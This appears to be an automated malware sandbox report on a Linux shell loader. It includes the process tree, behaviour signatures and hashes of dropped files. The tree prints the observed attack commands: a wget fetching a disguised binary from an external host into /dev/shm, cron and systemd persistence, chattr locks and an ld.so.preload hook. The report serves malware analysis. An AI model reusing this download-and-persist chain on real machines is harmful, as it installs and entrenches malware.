Analysis

  • max time kernel
    174s
  • max time network
    170s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260126-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19/04/2026, 07:43

General

  • Target
    loader.sh
  • Size 1KB
  • Sample260419-jkd6nabs21
  • SHA256 da41d24f215ed0146853358cff1a5aedca28b761e24390ffd75c2cef09ea47d9
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Changes its process name 1 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 6 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 21 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

Processes

  • /tmp/loader.sh
    /tmp/loader.sh
    1⤵
    • Executes dropped EXE
    PID:710
    • /bin/uname
      uname -m
      2⤵
        PID:715
      • /usr/bin/tr
        tr "[:upper:]" "[:lower:]"
        2⤵
          PID:716
        • /usr/bin/od
          od -to2
          2⤵
            PID:719
          • /usr/bin/awk
            awk "{print \$2; exit}"
            2⤵
            • Reads runtime system information
            PID:720
          • /bin/grep
            grep -q 49
            2⤵
              PID:721
            • /bin/rm
              rm -f /dev/shm/.kswapd0
              2⤵
                PID:730
              • /usr/bin/wget
                wget -qO /dev/shm/.kswapd0 https://tg-xxooxx888.8964.mom/bins/kswapd0
                2⤵
                • Writes file to shm directory
                PID:732
              • /bin/chmod
                chmod +x /dev/shm/.kswapd0
                2⤵
                • File and Directory Permissions Modification
                PID:747
              • /dev/shm/.kswapd0
                /dev/shm/.kswapd0
                2⤵
                • Executes dropped EXE
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:748
                • /dev/shm/.kswapd0
                  /dev/shm/.kswapd0
                  3⤵
                  • Changes its process name
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:758
                  • /bin/sh
                    sh -c "(V_ROLE=guardian V_GUARD_PID=758 setsid /dev/shm/.kswapd0 >/dev/null 2>&1 &)"
                    4⤵
                      PID:765
                    • /bin/systemctl
                      systemctl show -p FragmentPath sshd.service
                      4⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:768
                    • /bin/systemctl
                      systemctl daemon-reload
                      4⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:774
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:787
                    • /bin/bash
                      bash -c "(crontab -l 2>/dev/null; echo '* * * * * pgrep -x .kswapd0 > /dev/null || /dev/shm/.kswapd0 > /dev/null 2>&1 &') | crontab -"
                      4⤵
                        PID:788
                        • /usr/bin/crontab
                          crontab -
                          5⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:790
                        • /usr/bin/crontab
                          crontab -l
                          5⤵
                          • Reads runtime system information
                          PID:791
                      • /bin/systemctl
                        systemctl enable --now systemd-net-7f29d5.service
                        4⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:792
                      • /bin/bash
                        bash -c "(crontab -l 2>/dev/null; echo '* * * * * bash /var/tmp/.sys_e7055b3a/.svc_6ed3cf.sh > /dev/null 2>&1') | crontab -"
                        4⤵
                          PID:807
                          • /usr/bin/crontab
                            crontab -
                            5⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:809
                          • /usr/bin/crontab
                            crontab -l
                            5⤵
                            • Reads runtime system information
                            PID:810
                        • /usr/bin/chattr
                          chattr +i /etc/systemd/system/systemd-net-7f29d5.service
                          4⤵
                            PID:811
                          • /usr/bin/chattr
                            chattr +i /var/tmp/.sys_e7055b3a/.svc_6ed3cf.sh
                            4⤵
                              PID:812
                            • /usr/bin/chattr
                              chattr +i /etc/ld.so.preload
                              4⤵
                                PID:813
                              • /usr/bin/chattr
                                chattr +i /lib/libsys_5d31b4.so.2
                                4⤵
                                  PID:814
                            • /usr/bin/realpath
                              realpath /tmp/loader.sh
                              2⤵
                                PID:749
                              • /bin/rm
                                rm -f /tmp/loader.sh
                                2⤵
                                  PID:750
                              • /usr/bin/setsid
                                setsid /dev/shm/.kswapd0
                                1⤵
                                • Executes dropped EXE
                                PID:767
                              • /dev/shm/.kswapd0
                                /dev/shm/.kswapd0
                                1⤵
                                • Enumerates kernel/hardware configuration
                                • Reads runtime system information
                                PID:767

                              Network

                                    MITRE ATT&CK Enterprise v16

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                                    Downloads

                                    .cache_a9123c

                                    • Path /dev/shm/.cache_a9123c
                                    • Size 4B
                                    • SHA256 004a9e0878ff83e6b91f50d50dad439d2065c6cbb0d20f1f328b2fd75e085d6a
                                    • MD5 SHA1 SHA512

                                    .kswapd0

                                    • Path /dev/shm/.kswapd0
                                    • Size 1.7MB
                                    • SHA256 74cefabce692f8a2be4d85e0082683e300b7170059b8becb89f1f17eee2f938e
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    ld.so.preload

                                    • Path /etc/ld.so.preload
                                    • Size 24B
                                    • SHA256 c9938f0a267a7b1b2bef14e71c069280297a71efe32e1b6ce67a3833fb6e1ec0
                                    • MD5 SHA1 SHA512

                                    systemd-net-7f29d5.service

                                    • Path /etc/systemd/system/systemd-net-7f29d5.service
                                    • Size 192B
                                    • SHA256 d58a1389081b78989152e7ddbd138975102357e218dfaa7070aff4722826e1fd
                                    • MD5 SHA1 SHA512 TLSH

                                    libsys_5d31b4.so.2

                                    • Path /lib/libsys_5d31b4.so.2
                                    • Size 15KB
                                    • SHA256 ed3e4c0be98a5c993814db590ab3e93d582eb6771275b6c3123d7454bc7f6183
                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                    .wget-hsts

                                    • Path /root/.wget-hsts
                                    • Size 176B
                                    • SHA256 30e57cd1f33943f644c5a71d4aa94ad15d054970ef6cc12d1e6e2dd5e110b90e
                                    • MD5 SHA1 SHA512 TLSH

                                    tmp.V4UPvw

                                    • Path /var/spool/cron/crontabs/tmp.V4UPvw
                                    • Size 255B
                                    • SHA256 e1acf1a06c94c746c8013e7c1d98adf0adfecc5778444b27c25e3f68f88f2ad4
                                    • MD5 SHA1 SHA512 TLSH

                                    tmp.c6W9mb

                                    • Path /var/spool/cron/crontabs/tmp.c6W9mb
                                    • Size 325B
                                    • SHA256 ab367b5c76330ca40b9c33d3f4cf397734f4f3ca240880cae07b82f1f69c9080
                                    • MD5 SHA1 SHA512 TLSH

                                    .svc_6ed3cf.sh

                                    • Path /var/tmp/.sys_e7055b3a/.svc_6ed3cf.sh
                                    • Size 261B
                                    • SHA256 7d6af96a3f2bfa7a6ec1218804ca9da9914aef7b8abb5c841e83e8d242516847
                                    • MD5 SHA1 SHA512 TLSH